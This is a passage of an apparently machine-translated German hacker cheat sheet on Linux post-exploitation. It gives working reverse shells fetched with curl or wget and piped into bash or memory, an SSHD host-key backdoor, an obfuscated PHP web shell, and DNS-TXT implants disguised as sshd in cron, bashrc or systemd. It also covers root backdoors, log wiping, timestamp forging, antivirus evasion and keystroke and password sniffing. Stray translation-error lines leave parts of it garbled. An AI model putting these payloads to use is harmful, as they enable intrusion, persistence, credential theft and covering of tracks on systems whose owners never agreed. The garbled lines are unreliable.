oder```sh bash -c "$(wget --no-check-certificate -qO- https://gsocket.io/y)"
oder stellen Sie gsocket bereit, indem Sie Ihren eigenen Deployment-Server ausführen:```sh
LOG=results.log bash -c "$(curl -fsSL https://gsocket.io/ys)" # Notice '/ys' instead of '/y'
6.ii. Reverse-Shell mit sshx.io (verschlüsselt)
Greifen Sie von Ihrem Webbrowser aus auf eine entfernte Shell zu https://sshx.io.
Leiten Sie das sshx-backdoor direkt in den Speicher:```shell
echo $(curl -SsfL https://s3.amazonaws.com/sshx/sshx-$(uname -m)-unknown-linux-musl.tar.gz|tar xfOz - sshx 2>/dev/null
|nohup perl '-efor(319,279){($f=syscall$_,$",1)>0&&last};open($o,">&=".$f);print$o();exec{"/proc/$$/fd/$f"}"/usr/bin/python3",("-q")' 2>/dev/null
|{ read x;echo "$x";}&)
Oder der langweilige Weg:```shell
curl -SsfL https://s3.amazonaws.com/sshx/sshx-$(uname -m)-unknown-linux-musl.tar.gz|tar xfOz - sshx 2>/dev/null >.s \
&& chmod 755 .s \
&& (PATH=.:$PATH .s -q >.u 2>/dev/null &);
for _ in {1..10}; do [ -s .u ] && break;sleep 1;done;cat .u;rm -f .u .s;
6.iii. Kleinstes SSHD-Backdoor
apt updateauthorized_keys noch PAM.Deinen Schlüssel zu authorized_keys hinzuzufügen ist ausgelutscht 😩. Stattdessen kannst du als root dies einmal auf jedem Zielsystem einfügen. Es fügt dem SSHD-Config eine einzelne Zeile hinzu und erlaubt dir, dich für immer anzumelden:```shell
backdoor_sshd() {
local B="/etc/ssh"
local K="${B}/ssh_host_ed25519_key" D="${B}/sshd_config.d"
local N=$(cd "${D}" 2>/dev/null|| exit; shopt -s nullglob; echo .conf)
[ ! -f "$K" ] && K="${B}/ssh_host_rsa_key"
[ -n "$N" ] && N="${N%%.conf}.conf"
N="${D}/${N:-50-cloud-init.conf}"
[ ! -d "${D}" ] && N="${B}/sshd_config"
{ [ ! -f "$K" ] || [ ! -f "$K".pub ]; } && return
grep -iqm1 '^PermitRootLogin\s+no' "${B}/sshd_config" && echo >&2 "WARN: PermitRootLogin blocking in sshd_config"
echo -e "\e[0;31mYour id_ed25519 to log in to this server as any user:\e[0;33m\n$(cat "${K}")\e[0m"
grep -qm1 '^AuthorizedKeysFile' "$N" 2>/dev/null && { echo >&2 "WARN: Already backdoored"; return; }
echo -e "AuthorizedKeysFile\t.ssh/authorized_keys .ssh/authorized_keys2 ${K}.pub" >>"${N}" || return
touch -r "$K" "$N" "$D"
&& declare -F ctime >/dev/null && ctime "$N" "$D"
command -v systemctl >/dev/null && { systemctl restart ssh;:;} || service ssh restart
}
backdoor_sshd
So funktioniert es:
- Der SSHD-Hostschlüssel ist nur ein gewöhnlicher ed25519-Schlüssel.
- Jeder ed25519-Schlüssel kann verwendet werden, um einen Benutzer zu authentifizieren.
- SSHD prüft `~/.ssh/authorized_keys` (aber dieser Trick wurde überstrapaziert).
- Konfiguriere SSHD stattdessen so, dass es zusätzlich `/etc/ssh/sshd_host_ed25519_key.pub` für Login-Authentifizierungsschlüssel prüft.
- SSHD prüft nun `~/.ssh/authorized_keys` _und_ `/etc/ssh/ssh_host_ed25519_key.pub` auf gültige Login-Schlüssel.
- Verwende den geheimen Schlüssel `/etc/ssh/sshd_host_ed25519_key`, um dich am Ziel anzumelden.
<a id="backdoor-network"></a>
**6.vi. Fernzugriff auf ein gesamtes Netzwerk**
Installiere [gs-netcat](https://github.com/hackerschoice/gsocket). Es erstellt einen SOCKS-Exit-Knoten im privaten LAN des Hosts, der über das Global Socket Relay Network erreichbar ist, ohne dass du deinen eigenen Relay-Server betreiben musst (z. B. um direkt von deiner Workstation aus auf das entfernte private LAN zuzugreifen):```sh
gs-netcat -l -S # compromised Host
Nun können Sie von Ihrer Workstation aus eine Verbindung zu JEDEM Host im privaten LAN des Hosts herstellen:```sh gs-netcat -p 1080 # Your workstation.
socat - "SOCKS4a:127.1:route.local:22"
Lies [Verwende ein beliebiges Tool über Socks-Proxy](#scan-proxy).
Andere Methoden:
* [Gost/Cloudflared](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) - unser eigener Artikel
* [Reverse Wireguard](https://thc.org/segfault/wireguard) - von segfault.net zu jedem (internen) Netzwerk.
<a id="php-backdoor"></a>
**6.v. Kleinste PHP-Backdoor**
Füge diese Zeile am Anfang einer beliebigen PHP-Datei hinzu:```php
<?php $i=base64_decode("aWYoaXNzZXQoJF9QT1NUWzBdKSl7c3lzdGVtKCRfUE9TVFswXSk7ZGllO30K");eval($i);?>
Es handelt sich um eine base64-Kodierung von:```php if(isset($_POST[0])){system($_POST[0]);die;}
Teste die Backdoor:```sh
### 1. Optional: Start a test PHP server
cd /var/www/html && php -S 127.0.0.1:8080
### Without executing a command
curl http://127.0.0.1:8080/test.php
### With executing a command
curl http://127.0.0.1:8080/test.php -d 0="ps fax; uname -mrs; id"
Manchmal ist system() verboten. Füge eval() hinzu, um Remote-PHP-Code-Ausführung als Backup zu ermöglichen. Verstecke es in anderen base64-Kommentaren für etwas Verschleierung:```php
Löse mit einem dieser Werte die Ausführung eines Befehls oder PHP-Codes aus:```shell
# Execute just command
curl http://127.0.0.1:8080/x.php -d0='id'
# Execute just PHP code
curl http://127.0.0.1:8080/x.php -d0='' -d1='echo file_get_contents("/etc/hosts");'
6.vi. Kleinste Reverse-DNS-Tunnel-Backdoor
Führe beliebige Befehle auf einem Server aus, der nicht über das öffentliche Internet erreichbar ist, indem du einen Reverse-DNS-Trigger verwendest.
Füge diese Zeile (den Implant) am Anfang einer beliebigen PHP-Datei hinzu:```php
Das Implant fragt die Payload per DNS-TXT-Anfrage von der Domain `b00m.team-teso.net` ab. Bei Auslösung erstellt es `/tmp/.b00m` und benachrichtigt THC (über einen app.interactsh.com-Callback). *Bitte* verwenden Sie Ihre eigene Domain und erstellen Sie auch Ihre eigene Payload. Beispiel:```shell
echo -n '@system("{ id; date;}>/tmp/.b00m 2>/dev/null");' |base64 -w0
Bootloader. Verwende eine While-Schleife, um größere Payloads über DNS herunterzuladen und auszuführen.Füge dieses Implantat zur ~/.bashrc des Ziels oder zum Crontab hinzu (demo-paypload):```shell
bash -c 'exec bash -c "{ $(dig +short b00m2.team-teso.net TXT|tr -d \ "|base64 -d);}"'&>/dev/null
oder ändere den Demo-Payload für einen ausgefeilten Payload:
- Startet einen Hintergrund-Daemon, der stündlich auf Befehlsausführung prüft.
- Benötigt nur bash, dig und base64.
- Tarnt sich als `sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups`
- Das Beispiel verwendet erneut `b00m2.team-teso.net` und erstellt stündlich /tmp/.b00m.
Schneide & füge Folgendes in die Shell des Zielsystems ein, um das Einzeiler-Implantat zu generieren:```shell
# If dig does not exists then replace /dig +short.../ with
# /nslookup -q=txt '"$D"'|grep -Fm1 "text ="|sed -E "s|.*text = (.*)|\1|g;s|[\" ]||g"|base64 -d|bash/
# or use the Perl example below.
base64 -w0 >x.txt <<-'EOF'
D=b00m2.team-teso.net
P="sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups"
M=/dev/shm/.cache${UID}
[ -f $M ]&&exit
touch $M
(echo 'slp(){ local IFS;[ -n "${_sfd:-}" ]||exec {_sfd}<> <(:);read -t$1 -u$_sfd||:;}
slp 1
while :; do
dig +short '"$D"' TXT|tr -d \ \"|base64 -d|bash
slp 3600
done'|exec -a "$P" bash &) &>/dev/null
EOF
echo "===> Add the following to the target's ~/.bashrc or cronjob:"$'\n\033[0;36m'"echo $(<x.txt)|base64 -d|bash"$'\033[0m'
rm -f x.txt
Fügen Sie das 1-zeilige Ergebnis des Skripts zu einem beliebigen Startskript auf dem Ziel hinzu (verwenden Sie crontab, ~/.bashrc, udev oder ExecStartPre=). Hier ist ein raffiniertes Beispiel für /usr/lib/systemd/system/ssh.service (mit etwas zusätzlicher Verschleierung):```
...
[Service]
EnvironmentFile=-/etc/default/ssh
Environment="SSHD=echo RD1iMDBtMi50ZWFtLXRlc28ubmV0ClA9InNzaGQ6IC91c3Ivc2Jpbi9zc2hkIC1EIFtsaXN0ZW5lcl0gMCBvZiAxMC0xMDAgc3RhcnR1cHMiCk09L2Rldi9zaG0vLmNhY2hlJHtVSUR9ClsgLWYgJE0gXSYmZXhpdAp0b3VjaCAkTQooZWNobyAnc2xwKCl7IGxvY2FsIElGUztbIC1uICIke19zZmQ6LX0iIF18fGV4ZWMge19zZmR9PD4gPCg6KTtyZWFkIC10JDEgLXUkX3NmZHx8Ojt9CnNscCAxCndoaWxlIDo7IGRvCmRpZyArc2hvcnQgJyIkRCInIFRYVHx0ciAtZCBcIFwifGJhc2U2NCAtZHxiYXNoCnNscCAzNjAwCmRvbmUnfGV4ZWMgLWEgIiRQIiBiYXNoICYpICY+L2Rldi9udWxsCg==|base64 -d|bash"
ExecStartPre=-bash -c 'eval $SSHD'
ExecStartPre=/usr/sbin/sshd -t
ExecStart=/usr/sbin/sshd -D $SSHD_OPTS
...
...in PERL:
---
Dasselbe, aber nur perl + bash erforderlich (nicht dig):```shell
perl -MMIME::Base64 -e '$/=undef;print encode_base64(<>,"")' >x.txt <<-'EOF'
D=b00m2.team-teso.net
P="sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups"
M=/dev/shm/.cache-1-${UID}
(echo 'use Net::DNS;use MIME::Base64;exit(0) if -e "'"$M"'";close(open($f,">","'"$M"'"));for (;;) { system decode_base64((Net::DNS::Resolver->new->query(q/'"$D"'/,q/TXT/)->answer)[0]->txtdata=~y/ \\//dr);sleep(3600)}'|exec -a "$P" perl &) &>/dev/null
EOF
echo "===> Execute the following on the target:"$'\n\033[0;36m'"perl -MMIME::Base64 -e'print decode_base64(\"$(<x.txt)\")'|bash"$'\033[0m'
rm -f x.txt
(Danke an LouCipher für eine perl-Version)
Kopiere & füge Folgendes in deine Shell ein:```shell pydnsbackdoorgen() { local str echo -e "This is the TXT record for ${1:?}\e[0;33m" base64 -w0 <"${2:?}" str="$(echo -en 'import dns.resolver\nexec(base64.b64decode("".join([d.to_text() for d in dns.resolver.resolve("'"${1:?}"'", "TXT").rrset])))' | base64 -w 0)" echo -e "\e[0m\nAdd this implant string to a target's python script:\e[0;32m" echo "exec('"'try:\n\timport base64\n\texec(base64.b64decode("'"${str}"'"))\nexcept:\n\tpass'"')" echo -e "\e[0m" }
Erstelle deinen Payload (`egg.py` wird auf dem Zielsystem ausgeführt):```shell
cat >egg.py<<-'EOF'
import time
dns.resolver.resolve(f"{int(time.time())}.yzlespkpfkqfrtwgvhngkyqbuod49rgmo.oast.fun")
EOF
Generiere dein Implant (und befolge die Anweisungen):```shell pydnsbackdoorgen b00mpy.team-teso.net egg.py
<a id="ld-backdoor"></a>
**6.vii. Lokale Root-Backdoor**
#### 1. Backdooring des dynamischen Loaders mit setcap```bash
### Execute as ROOT user
fn="$(readlink -f /lib64/ld-*.so.*)" || fn="$(readlink -f /lib/ld-*.so.*)" || fn="/lib/ld-linux.so.2"
setcap cap_setuid,cap_setgid+ep "${fn}"
The input content for chunk 374 is empty — there is no text to translate. Please provide the actual chunk content.```bash
fn="$(readlink -f /lib64/ld-.so.)" || fn="$(readlink -f /lib/ld-.so.)" || fn="/lib/ld-linux.so.2" p="$(command -v python3 2>/dev/null)" || p="$(command -v python)" "${fn:?}" "$p" -c 'import os;os.setuid(0);os.setgid(0);os.execlp("bash", "kdaemon")'
#### 2. Der gute alte b00m shell```shell
{ cp /bin/sh /var/tmp/.b00m; chmod 6775 /var/tmp/.b00m; } 2>/dev/null >/dev/null
exec /var/tmp/.b00m -p -c 'exec python -c "import os;os.setuid(0);os.execlp("bash", "kdaemon")"'
<a id="implant"></a>
**6.viii. Selbstextrahierendes Implantat**
Erstellen Sie ein selbstextrahierendes Shell-Skript mit [mkegg.sh](https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/blob/master/tools/mkegg.sh) (siehe Quellcode für Beispiele).
Einfaches Beispiel:```sh
# Create implant 'egg.sh' containing the file 'foo'
# and the directory 'warez'. When executing 'egg.sh' then
# extract 'foo' and 'warez' and call 'warez/run/sh'
./mkegg.sh egg.sh foo warez warez/run.sh
Beispiele aus der Praxis sind am besten:
2. Benenne `egg.sh` in `update-for-fools.txt` um und lade es als Blob in [Signals](https://www.signal.org/) GitHub-Repository hoch.
3. Führe niemanden hinters Licht, um Signal mit diesem Befehl zu aktualisieren ❤️:```sh
curl -fL https://github.com/signalapp/Signal-Desktop/files/15037868/update-for-fools.txt | bash
Holen Sie sich wesentliche Informationen über einen Host:```sh bash -c "$(curl -fsSL https://thc.org/ws)"
oder```sh
bash -c "$(curl -fsSL https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/raw/master/tools/whatserver.sh)"
netstat, falls es kein netstat/ss/lsof gibt:```sh curl -fsSL https://raw.githubusercontent.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/master/tools/awk_netstat.sh | bash
Geschwindigkeitscheck des Systems```sh
curl -fsSL https://bench.sh | bash
# Another speed check:
# curl -fsSL https://yabs.sh | bash
Finde alle suid/sgid-Binärdateien:``` find / -xdev -type f -perm /6000 -ls 2>/dev/null
Finde alle beschreibbaren Verzeichnisse:```bash
wfind() {
local arr dir
arr=("$@")
while [[ ${#arr[@]} -gt 0 ]]; do
dir=${arr[${#arr[@]}-1]}
unset "arr[${#arr[@]}-1]"
find "$dir" -maxdepth 1 -type d -writable -ls 2>/dev/null
IFS=$'\n' arr+=($(find "$dir" -mindepth 1 -maxdepth 1 -type d ! -writable 2>/dev/null))
done
}
# Usage: wfind /
# Usage: wfind /etc /var /usr
Lokale Passwörter finden (mit noseyparker oder trufflehog):```sh
curl -o np -fsSL https://github.com/hackerschoice/binary/raw/main/tools/noseyparker-x86_64-static
chmod 700 np &&
./np scan . &&
./np report --color=always | less -R
- Verwenden Sie [PassDetective](https://github.com/aydinnyunus/PassDetective), um Passwörter in ~/.*history zu finden
- Verwenden Sie [Chrome-ABE](https://github.com/xaitax/Chrome-App-Bound-Encryption-Decryption), um Chrome-Passwörter aus dem laufenden Prozess zu extrahieren & zu entschlüsseln (nur Windows)
- Extrahieren Sie Passwörter aus Browsern mit [https://github.com/kiryano/chrome-password-decryptor](https://github.com/kiryano/chrome-password-decryptor)
Mit `grep`:```sh
# Find passwords (without garbage).
grep -HEronasi '.{,16}password.{,64}' .
# Find TLS or OpenSSH keys:
grep -r -F -- " PRIVATE KEY-----" .
Finde Subdomains oder E-Mails in Dateien:```bash resolv() { while read -r x; do r="$(getent hosts "$x")" || continue; echo "${r%% *}"$'\t'"${x}"; done; } find_subdomains() { local d="${1//./\.}" local rexf='[0-9a-zA-Z_.-]{0,64}'"${d}" local rex="$rexf"'([^0-9a-zA-Z_]{1}|$)' [ $# -le 0 ] && { echo -en >&2 "Extract sub-domains from all files (or stdin)\nUsage : find_subdomains \nExample: find_subdomain .com | anew"; return; } shift 1 [ $# -le 0 ] && [ -t 0 ] && set -- . command -v rg >/dev/null && { rg -oaIN --no-heading "$rex" "$@" | grep -Eao "$rexf"; return; } grep -Eaohr "$rex" "$@" | grep -Eo "$rexf" }
---
<a id="shell-hacks"></a>
## 8. Shell-Hacks
<a id="shred"></a>
**8.i. Shred & eine Datei löschen**```sh
shred -z foobar.txt
Kein Eingabetext zum Übersetzen bereitgestellt.```sh
shred() { [[ -z $1 || ! -f "$1" ]] && { echo >&2 "shred [FILE]"; return 255; } dd status=none bs=1k count=$(du -sk ${1:?} | cut -f1) if=/dev/urandom >"$1" rm -f "${1:?}" } shred foobar.txt
Hinweis: Oder legen Sie Ihre Dateien im Verzeichnis */dev/shm* ab, sodass keine Daten auf die Festplatte geschrieben werden. Die Daten werden beim Neustart gelöscht.
Hinweis: Oder löschen Sie die Datei und füllen Sie dann die gesamte Festplatte mit /dev/urandom und führen Sie dann rm -rf auf die Dump-Datei aus.
<a id="restore-timestamp"></a>
**8.ii. Stellen Sie das Datum einer Datei wieder her**
Angenommen, Sie haben */etc/passwd* geändert, aber das Dateidatum zeigt nun an, dass */etc/passwd* geändert wurde. Verwenden Sie *touch*, um das Dateidatum auf das Datum einer anderen Datei zu setzen (in diesem Beispiel */etc/shadow*).```sh
touch -r /etc/shadow /etc/passwd
# verify with 'stat /etc/passwd'
Use hackshell and ctime /etc/passwd to also adjust the ctime and birth-time.
Dadurch wird die Logdatei auf 0 zurückgesetzt, ohne dass syslogd usw. neu gestartet werden muss:```sh
/var/log/auth.log # or on old shells: cat /dev/null >/var/log/auth.log
Dies entfernt jede Zeile, die die IP `1.2.3.4` enthält, aus der Logdatei:```sh
xlog() { local a=$(sed "/${1:?}/d" <"${2:?}") && echo "$a" >"${2:?}"; }
Beispiele:```sh
<a id="shell-hide-files"></a>
**8.iv. Verstecke Dateien vor diesem Benutzer ohne Root-Rechte**
Unser bevorzugtes Arbeitsverzeichnis ist */dev/shm/*. Dieser Ort ist flüchtiger Speicher und geht beim Neustart verloren. Keine Logs == Kein Verbrechen.
Permanente Dateien verstecken:
Methode 1:```sh
alias ls='ls -I system-dev'
Dadurch wird das Verzeichnis system-dev vor dem Befehl ls verborgen. Fügen Sie es in die ~/.profile des Benutzers oder systemweit in /etc/profile ein.
Methode 2: Tricks aus den 80ern. Betrachten Sie ein beliebiges Verzeichnis, in das der Administrator selten schaut (wie /boot/.X11/.. oder so):```sh mkdir '...' cd '...'
Methode 3:
Unix erlaubt Dateinamen mit fast jedem ASCII-Zeichen außer 0x00. Versuchen Sie Tabulator (*\t*). Es kommt vor, dass die meisten Admins nicht wissen, wie man mit cd in ein solches Verzeichnis wechselt.```sh
mkdir $'\t'
cd $'\t'
8.v. Eine Datei unveränderbar machen
Dies wird /var/www/cgi/blah.cgi auf /boot/backdoor.cgi umleiten. Die Datei blah.cgi kann nicht modifiziert oder entfernt werden (außer sie wird ausgehängt).```sh
touch /var/www/cgi/blah.cgi mount -o bind,ro /boot/backdoor.cgi /var/www/cgi/blah.cgi
<a id="nosudo"></a>
**8.vi. Benutzer ohne sudo/su wechseln**
Benötigt für das Aufnehmen von Screenshots von X11-Sitzungen (z. B. `xwd -display :0 -silent -root | convert - jpg:screenshot.jpg` oder `import -display :0 -window root screenshot.png`)```bash
xsu() {
local name="${1:?}"
local u g h
local cmd="python"
command -v python3 >/dev/null && cmd="python3"
[ $UID -ne 0 ] && { HS_ERR "Need root"; return; }
u=$(id -u ${name:?}) || return
g=$(id -g ${name:?}) || return
h="$(grep "^${name}:" /etc/passwd | cut -d: -f6)" || return
HOME="${h:-/tmp}" "$cmd" -c "import os;os.setgid(${g:?});os.setuid(${u:?});os.execlp('bash', 'bash')"
}
# xsu user
8.vii. Payload verschleiern und verschlüsseln
Verwende UPX, um eine ELF-Binary (Beispiel /bin/id) zu packen:```shell
BIN="mybin"
upx -qqq /bin/id -o "${BIN}"
Bereinigen Sie den [UPX-Header](https://github.com/upx/upx/blob/devel/src/stub/src/include/header.S) und den zweiten ELF-Header, um den Anti-Virus zu täuschen:```shell
perl -i -0777 -pe 's/^(.{64})(.{0,256})UPX!.{4}/$1$2\0\0\0\0\0\0\0\0/s' "${BIN}"
perl -i -0777 -pe 's/^(.{64})(.{0,256})\x7fELF/$1$2\0\0\0\0/s' "${BIN}"
Optional Signaturen und Spuren von UPX bereinigen:```shell
cat "${BIN}"
| perl -e 'local($/);$=<>;s/(.)($Info:[^\0])(.*)/print "$1";print "\0"x length($2); print "$3"/es;'
| perl -e 'local($/);$=<>;s/(.)($Id:[^\0])(.)/print "$1";print "\0"x length($2); print "$3"/es;' >"${BIN}.tmpupx"
mv "${BIN}.tmpupx" "${BIN}"
grep -Eqm1 "PROT_EXEC|PROT_WRITE" "${BIN}"
&& cat "${BIN}" | perl -e 'local($/);$_=<>;s/(.)(PROT_EXEC|PROT_WRI[^\0])(.)/print "$1";print "\0"x length($2); print "$3"/es;' >"${BIN}.tmpupx"
&& mv "${BIN}.tmpupx" "${BIN}"
perl -i -0777 -pe 's/UPX!/\0\0\0\0/sg' "${BIN}"
Stelle sicher, dass die Binärdatei nicht entpackt werden kann:```shell
upx -d "${BIN}" # Should fail with 'not packed by UPX'
Optional kann es mit bincrypter verschlüsselt werden.
8.viii. Bereitstellen eines Backdoors, ohne das Dateisystem zu berühren
Starten Sie einen Backdoor, ohne in das Dateisystem zu schreiben, oder wenn alle beschreibbaren Speicherorte mit dem bösen noexec-Flag gemountet sind.
Ein Perl-Einzeiler, um eine Binärdatei in den Speicher zu laden und auszuführen (ohne irgendeine Festplatte, /dev/shm oder /tmp zu berühren). Weitere Informationen finden Sie in Hackshell.```sh memexec() { local stropen strread local strargv0='"foo", ' [ -t 0 ] && { stropen="open($i, '<', '$1') or die 'open: $!';" strread='$i' unset strargv0 } # Check Syscall-NR: perl -e 'require "sys/syscall.ph"; printf &SYS_memfd_create;' perl -e '$f=syscall(319, $n="", 1); if(-1==$f){ $f=syscall(279, $n="", 1); if(-1==$f){ die "memfd_create: $!";}} '"${stropen}"' open($o, ">&=".$f) or die "open: $!"; while(<'"${strread:-STDIN}"'>){print $o $_;} exec {"/proc/$$/fd/$f"} '"${strargv0}"'@ARGV or die "exec: $!";' -- "$@" }
Die kürzestmögliche Variante ist (Beispiel):```shell
memexec(){ perl '-e$^F=255;for(319,279,385,4314,4354){($f=syscall$_,$",0)>0&&last};open($o,">&=".$f);print$o(<STDIN>);exec{"/proc/$$/fd/$f"}X,@ARGV;exit 255' -- "$@";}
# Example: cat /usr/bin/id | memexec -u
(Danke an tmp.Out für einige fachkundige Diskussionen und frühere Arbeiten von anderen)
Bereitstellen von gsocket ohne in das Dateisystem zu schreiben (Beispiel):```sh GS_ARGS="-ilqD -s SecretChangeMe31337" memexec <(curl -SsfL https://gsocket.io/bin/gs-netcat_mini-linux-$(uname -m))
Die Backdoor kann auch per SSH direkt in den Speicher des entfernten Systems geleitet und ausgeführt werden:```sh
MX='-e$^F=255;for(319,279,385,4314,4354){($f=syscall$_,$",0)>0&&last};open($o,">&=".$f);print$o(<STDIN>);exec{"/proc/$$/fd/$f"}X,@ARGV;exit 255'
curl -SsfL https://gsocket.io/bin/gs-netcat_mini-linux-x86_64 | ssh root@foobar "exec perl '$MX' -- -ilqD -s SecretChangeMe31337"
Wenn du nur einen einzigen Versuch hast, einen Befehl remote auszuführen (z. B. über einen PHP-Exploit), dann ist das deine Zeile:```sh curl -SsfL https://gsocket.io/bin/gs-netcat_mini-linux-$(uname -m)|perl '-e$^F=255;for(319,279,385,4314,4354){($f=syscall$_,$",0)>0&&last};open($o,">&=".$f);print$o();exec{"/proc/$$/fd/$f"}X,@ARGV;exit 255' -- -ilqD -s SecretChangeMe31337
---
<a id="crypto"></a>
## 9. Krypto
<a id="gen-password"></a>
**9.i. Schnelles Zufallspasswort generieren**
Gut für schnelle Passwörter ohne menschliches Element.```sh
openssl rand -base64 24
Wenn openssl nicht verfügbar ist, können wir auch head verwenden, um von /dev/urandom zu lesen.```sh
head -c 32 < /dev/urandom | xxd -p -c 32
oder machen Sie es alphanumerisch```sh
head -c 32 < /dev/urandom | base64 | tr -dc '[:alnum:]' | head -c 16
9.ii.a. Linux transportierbare verschlüsselte Dateisysteme - cryptsetup
Erstellen Sie ein 256MB großes verschlüsseltes Dateisystem. Sie werden zur Eingabe eines Passworts aufgefordert.```sh dd if=/dev/urandom of=/tmp/crypted bs=1M count=256 iflag=fullblock cryptsetup luksFormat /tmp/crypted cryptsetup open /tmp/crypted sec mkfs -t ext3 /dev/mapper/sec
Mount:```sh
cryptsetup open /tmp/crypted sec
mount -o nofail,noatime /dev/mapper/sec /mnt/sec
Daten in /mnt/crypted speichern, dann aushängen:```sh
umount /mnt/sec
cryptsetup close sec
<a id="encfs"></a>
**9.ii.b. Linux transportierbare verschlüsselte Dateisysteme - EncFS**
Erstellen Sie ```.sec``` und speichern Sie die verschlüsselten Daten in ```.raw```:```sh
mkdir .raw .sec
encfs --standard "${PWD}/.raw" "${PWD}/.sec"
unmount:```sh fusermount -u .sec
<a id="encrypting-file"></a>
**9.iii Verschlüsseln einer Datei**
Verschlüsseln Sie Ihre 0-Days und Logdateien, bevor Sie sie übertragen - bitte. (und wählen Sie Ihr eigenes Passwort):```sh
# Encrypt
openssl enc -aes-256-cbc -pbkdf2 -k fOUGsg1BJdXPt0CY4I <input.txt >input.txt.enc
The input chunk is empty — no content was provided to translate. Please supply the chunk text so it can be translated into German.```sh
openssl enc -d -aes-256-cbc -pbkdf2 -k fOUGsg1BJdXPt0CY4I <input.txt.enc >input.txt
---
<a id="sniffing"></a>
## 10. Session-Sniffing und Hijacking
<a id="session-sniffing"></a>
**10.i Sniffen der SHELL-Sitzung eines Benutzers**
Ein Einzeiler für `~/.bashrc`, um die Tastatureingaben des Benutzers zu sniffen und unter `~/.config/.pty/.@*` zu speichern. Nützlich, wenn man kein Root ist und die sudo/ssh/git-Anmeldedaten des Benutzers erfassen muss.
Einsatz: Kopieren Sie Folgendes auf das Zielsystem und befolgen Sie die Anweisungen:```sh
# This is a glorified version of:
# [ -z "$LC_PTY" ] && [ -t 0 ] && [[ "$HISTFILE" != *null* ]] && [ -d ~/.config/.pty ] && { script -V; } &>/dev/null && LC_PTY=1 exec -a "sshd: pts/0" script -fqaec "exec ${BASH_EXECUTION_STRING:--a -bash '"$(command -v bash)"'}" -I ~/.config/.pty/.@pty-unix.$$
command -v bash >/dev/null || { echo "Not found: /bin/bash"; false; } \
&& { mkdir -p ~/.config/.pty 2>/dev/null; :; } \
&& { script -h | grep -qm1 -- -I && cp "$(command -v script)" ~/.config/.pty/pty; :; } \
&& { [ ! -f ~/.config/.pty/pty ] && curl -o ~/.config/.pty/pty -fsSL "https://bin.pkgforge.dev/$(uname -m)/script"; :; } \
&& [ -f ~/.config/.pty/pty ] \
&& curl -o ~/.config/.pty/ini -fsSL "https://github.com/hackerschoice/zapper/releases/download/v1.1/zapper-stealth-linux-$(uname -m)" \
&& chmod 755 ~/.config/.pty/ini ~/.config/.pty/pty \
&& echo -e '----------\n\e[0;32mSUCCESS\e[0m. Add the following line to \e[0;36m~/.bashrc\e[0m:\e[0;35m' \
&& echo -e '[ -z "$LC_PTY" ] && [ -t 0 ] && [[ "$HISTFILE" != *null* ]] && [ -d ~/.config/.pty ] && { ~/.config/.pty/ini -h && ~/.config/.pty/pty -V; } &>/dev/null && LC_PTY=1 exec ~/.config/.pty/ini -a "sshd: pts/0" ~/.config/.pty/pty -fqaec "exec ${BASH_EXECUTION_STRING:--a -bash '"$(command -v bash)"'}" -I ~/.config/.pty/.@pty-unix.$$\e[0m'
/usr/bin/script von util-linux >= 2.37 (-I-Flag). Wir beziehen die statische Binärdatei von pkgforge./dev/tcp/3.13.3.7/1524 als Ausgabedatei zu verwenden, um auf einem entfernten Host zu protokollieren.ssh -o "SetEnv LC_PTY=1" an, um die Protokollierung zu deaktivieren.10.ii Alle SHELL-Sitzungen mit dtrace abhören - FreeBSD
Besonders nützlich für Solaris/SunOS und FreeBSD (pfSense). Es verwendet Kernel-Probes, um alle sshd-Prozesse zu verfolgen.
Kopieren Sie dieses „D-Skript“ auf das Zielsystem in eine Datei mit dem Namen d:```c
#pragma D option quiet
inline string NAME = "sshd";
syscall::write:entry
/(arg0 >= 5) && (arg2 <= 16) && (execname == NAME)/
{ printf("%d: %s\n", pid, stringof(copyin(arg1, arg2))); }
Starte ein dtrace und protokolliere in /tmp/.log:```sh
### Start kernel probe as background process.
(dtrace -sd >/tmp/.log &)
10.iii Alle SHELL-Sitzungen mit eBPF abhören - Linux
eBPF erlaubt es uns, sicher über 120.000 Funktionen im Kernel abzufangen. Es ist wie ein besseres "dtrace", aber für Linux.```sh curl -o bpftrace -fsSL https://github.com/iovisor/bpftrace/releases/latest/download/bpftrace chmod 755 bpftrace curl -o ptysnoop.bt -fsSL https://github.com/hackerschoice/bpfhacks/raw/main/ptysnoop.bt ./bpftrace -Bnone ptysnoop.bt
Schaut euch unsere eigenen [eBPF-Tools zum Abfangen von sudo/su/ssh-Passwörtern](https://github.com/hackerschoice/bpfhacks) an.
<a id="ssh-sniffing-strace"></a>
**10.iv Eine SSH-, Bash- oder SSHD-Sitzung eines Benutzers mit strace mitschneiden**```sh
tit() {
strace -e trace="${1:?}" -p "${2:?}" 2>&1 | gawk 'BEGIN{ORS=""}/\.\.\./ { next }; {$0 = substr($0, index($0, "\"")+1); sub(/"[^"]*$/, "", $0); gsub(/(\\33){1,}\[[0-9;]*[^0-9;]?||\\33O[ABCDR]?/, ""); if ($0=="\\r"){print "\n"}else{print $0; fflush()}}'
# strace -e trace="${1:?}" -p "${2:?}" 2>&1 | stdbuf -oL grep -vF ... | awk 'BEGIN{FS="\"";}{if ($2=="\\r"){print ""}else{printf $2}}'
}
# tit read $(pidof -s ssh)
# tit read $(pidof -s bash)
# tit write $(pgrep -f 'sshd.*pts' | head -n1)
Es ist auch möglich, den SSHD-Prozess zu überwachen (erfasst auch sudo-Passwörter usw.). Beachte, dass wir stattdessen den write()-Aufruf verfolgen (weil sshd Daten an die bash 'schreibt'):```sh
ps -eF | grep -E '(^UID|sshd.*pts)' | grep -v ' grep' ... UID PID PPID C SZ RSS PSR STIME TTY TIME CMD paralle+ 7770 7764 0 5088 6780 1 Aug28 ? 00:00:05 sshd: parallels@pts/0 paralle+ 9056 9050 0 5088 6652 1 Aug28 ? 00:00:00 sshd: parallels@pts/1 paralle+ 11938 11932 0 5074 6772 1 10:59 ? 00:00:00 sshd: parallels@pts/3 ...
Sniff 7770 (Beispiel):```shell
tit write 7770
10.v. Ausgehende SSH-Sitzung eines Benutzers mit einem Wrapper-Skript mitschneiden
